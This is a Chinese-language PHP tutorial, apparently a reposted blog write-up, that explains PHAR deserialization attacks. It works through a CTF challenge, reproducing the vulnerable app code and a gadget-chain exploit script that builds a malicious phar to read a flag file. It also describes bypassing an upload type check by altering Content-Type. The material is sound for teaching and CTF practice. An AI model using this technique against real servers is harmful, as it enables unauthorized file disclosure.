PHP开发技巧之PHAR反序列化详解

吾爱主题 阅读:215 2022-11-23 13:46:00 评论:0

引文

之前将PHP反序列化的基础知识讲了一遍,不知道大家学习的怎么样了,今天给大家带来PHP反序列化的进阶知识:PHAR反序列化,也是之前本人在CTF比赛中经常遇到的一种php反序列化的进阶使用吧,下面先给大家讲一讲PHAR反序列化的前置知识。

前置知识

PHAR

在软件中,PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发。phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容,这里就是我们反序列化漏洞的利用点。

接下来带大家看一下如何构造phar文件:

PHAR状态是只读的,创建一个的Phar文件需要允许写入Phar文件,这需要修改一下:

?
1 php.ini:phar. readonly = Off;  #php版本要大于等于5.2

其中php.ini为php的配置文件。

PHAR文件结构

上面简单介绍了phar的基本定义,接下来我们学习一下PHAR文件的基本结构:

A stub

phar文件的标志,具体代码为:

?
1 xxx<?php xxx; __HALT_COMPILER();?>

注意的是phar文件始终要以__HALT_COMPILER();?>来进行结尾才能被识别为PHAR文件。

A manifest describing the contents

以序列化的形式存储用户自定义的meta-data,也是我们利用反序列化漏洞的点。

The file contents

压缩的文件内容。

signature

签名信息,放在文件末尾。

PHAR文件生成样例

了解了以上信息,我们就可以尝试来构建一个PHAR文件的生成,样例代码如下:

?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php      class User{          var $name ;      }      @unlink( "XINO.phar" );      $phar = new Phar( "XINO.phar" );      $phar ->startBuffering();      $phar ->setStub( "<?php __HALT_COMPILER(); ?>" );      $o = new User();      $o ->name = "XINO" ;      $phar ->setMetadata( $o );      $phar ->addFromString( "test.txt" , "test" );      $phar ->stopBuffering(); ?>

运行之后结果如下:

成功生成了名为XINO.phar的phar类型文件,我们放进010editor查看:

看到 meta-data 序列化的内容成功的保存到了文件中。我们再用phar协议去读取就好了。这里需要注意的一点是:一些文件函数 通过 phar:// 伪协议解析phar文件时都会将meta-data反序列化,例如:

?
1 2 3 4 fileatime    filectime        filemtime    file_exists    file_get_contents    file_put_contents file         filegroup        fopen        fileinode      fileowner            fileperms is_dir       is_file          is_link      is_executable  is_readable          is_writeable is_wirtble   parse_ini_file   copy         unlink         stat                 readfile        info_file  

实战

学完上面的内容后,我们便可以尝试一下实战了,先看看利用条件:

phar文件要能够上传到服务器端

要有可用的魔术方法作为"跳板"

文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤

下面我们来看一个例题:

进去是一个登陆界面,我们注册登陆进去,发现了一个文件上传的点。要求得文件类型只能是gif/jpg/png的类型,需要抓包更改其Content-Type为image/jpeg或其它图片格式的对应字符串。抓包后会发现POST传参download处存在任意文件下载:

下载源码:index.php,delete.php,download.php,class.php

class.php:

?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 <?php error_reporting (0); $dbaddr = "127.0.0.1" ; $dbuser = "root" ; $dbpass = "root" ; $dbname = "dropbox" ; $db = new mysqli( $dbaddr , $dbuser , $dbpass , $dbname ); class User {      public $db ;      public function __construct() {          global $db ;          $this ->db = $db ;      }      public function user_exist( $username ) {          $stmt = $this ->db->prepare( "SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;" );          $stmt ->bind_param( "s" , $username );          $stmt ->execute();          $stmt ->store_result();          $count = $stmt ->num_rows;          if ( $count === 0) {              return false;          }          return true;      }      public function add_user( $username , $password ) {          if ( $this ->user_exist( $username )) {              return false;          }          $password = sha1( $password . "SiAchGHmFx" );          $stmt = $this ->db->prepare( "INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);" );          $stmt ->bind_param( "ss" , $username , $password );          $stmt ->execute();          return true;      }      public function verify_user( $username , $password ) {          if (! $this ->user_exist( $username )) {              return false;          }          $password = sha1( $password . "SiAchGHmFx" );          $stmt = $this ->db->prepare( "SELECT `password` FROM `users` WHERE `username` = ?;" );          $stmt ->bind_param( "s" , $username );          $stmt ->execute();          $stmt ->bind_result( $expect );          $stmt ->fetch();          if (isset( $expect ) && $expect === $password ) {              return true;          }          return false;      }      public function __destruct() {          $this ->db->close();      } } class FileList {      private $files ;      private $results ;      private $funcs ;      public function __construct( $path ) {          $this ->files = array ();          $this ->results = array ();          $this ->funcs = array ();          $filenames = scandir( $path );          $key = array_search ( "." , $filenames );          unset( $filenames [ $key ]);          $key = array_search ( ".." , $filenames );          unset( $filenames [ $key ]);          foreach ( $filenames as $filename ) {              $file = new File();              $file ->open( $path . $filename );              array_push ( $this ->files, $file );              $this ->results[ $file ->name()] = array ();          }      }      public function __call( $func , $args ) {          array_push ( $this ->funcs, $func );          foreach ( $this ->files as $file ) {              $this ->results[ $file ->name()][ $func ] = $file -> $func ();          }      }      public function __destruct() {          $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">' ;          $table .= '<thead><tr>' ;          foreach ( $this ->funcs as $func ) {              $table .= '<th scope="col" class="text-center">' . htmlentities( $func ) . '</th>' ;          }          $table .= '<th scope="col" class="text-center">Opt</th>' ;          $table .= '</thead><tbody>' ;          foreach ( $this ->results as $filename => $result ) {              $table .= '<tr>' ;              foreach ( $result as $func => $value ) {                  $table .= '<td class="text-center">' . htmlentities( $value ) . '</td>' ;              }              $table .= '<td class="text-center" filename="' . htmlentities( $filename ) . '"><a href="#" rel="external nofollow"  rel="external nofollow"  class="download">下载</a> / <a href="#" rel="external nofollow"  rel="external nofollow"  class="delete">删除</a></td>' ;              $table .= '</tr>' ;          }          echo $table ;      } } class File {      public $filename ;      public function open( $filename ) {          $this ->filename = $filename ;          if ( file_exists ( $filename ) && ! is_dir ( $filename )) {              return true;          } else {              return false;          }      }      public function name() {          return basename ( $this ->filename);      }      public function size() {          $size = filesize ( $this ->filename);          $units = array ( ' B' , ' KB' , ' MB' , ' GB' , ' TB' );          for ( $i = 0; $size >= 1024 && $i < 4; $i ++) $size /= 1024;          return round ( $size , 2). $units [ $i ];      }      public function detele() {          unlink( $this ->filename);      }      public function close() {          return file_get_contents ( $this ->filename);      } } ?>

delete.php

?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php # delete .php session_start(); if (!isset( $_SESSION [ 'login' ])) {      header( "Location: login.php" );      die (); } if (!isset( $_POST [ 'filename' ])) {      die (); } include "class.php" ; chdir ( $_SESSION [ 'sandbox' ]); $file = new File(); $filename = (string) $_POST [ 'filename' ]; if ( strlen ( $filename ) < 40 && $file ->open( $filename )) {      $file ->detele();      Header( "Content-type: application/json" );      $response = array ( "success" => true, "error" => "" );      echo json_encode( $response ); } else {      Header( "Content-type: application/json" );      $response = array ( "success" => false, "error" => "File not exist" );      echo json_encode( $response ); } ?>

简单分析一下:

创建一个user的对象,而且db变量是一个FileList对象,文件名为flag的路径。这样的话,当user对象销毁时,db变量的close方法被执行;而db变量没有close方法,这样就会触发call魔术方法(不理解的可以去看之前的文章),于是执行File对象的close方法。通过分析FileList类的析构方法可以知道,close方法执行后存在results变量里的结果会加入到table变量中被打印出来,也就是flag会被打印出来($this->filename=flag文件 )。

于是我们尝试写一个生成PHAR文件的脚本:

?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php class User {      public $db ; } class File {      public $filename ; } class FileList {      private $files ;      public function __construct() {          $file = new File();          $file ->filename = "/flag.txt" ;          $this ->files = array ( $file );      } } $a = new User(); $a ->db = new FileList(); $phar = new Phar( "XINO.phar" ); //后缀名必须为phar $phar ->startBuffering(); $phar ->addFromString( "exp.txt" , "test" ); //添加要压缩的文件 $phar ->setStub( "<?php __HALT_COMPILER(); ?>" ); //设置stub $phar ->setMetadata( $a ); //将自定义的meta-data存入manifest //签名自动计算 $phar ->stopBuffering(); ?>

生成文件后将PHAR文件改文件类型然后上传,之后用PHAR协议去读取就可以得到flag。

结语

今天比较详细的讲了PHAR反序列化漏洞的原理以及应用方法,可能刚开始学不太好理解,可以根据之前PHP反序列化的思路去理解一下。有兴趣的小伙伴可以自己去搭建靶机来进行测试,喜欢的小伙伴不妨一键三连。

以上就是PHP开发技巧之PHAR反序列化详解的详细内容,更多关于PHP开发PHAR反序列化的资料请关注服务器之家其它相关文章!

原文链接:https://juejin.cn/post/7152298620656549896

可以去百度分享获取分享代码输入这里。
声明

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

【腾讯云】云服务器产品特惠热卖中
搜索
标签列表
    关注我们

    了解等多精彩内容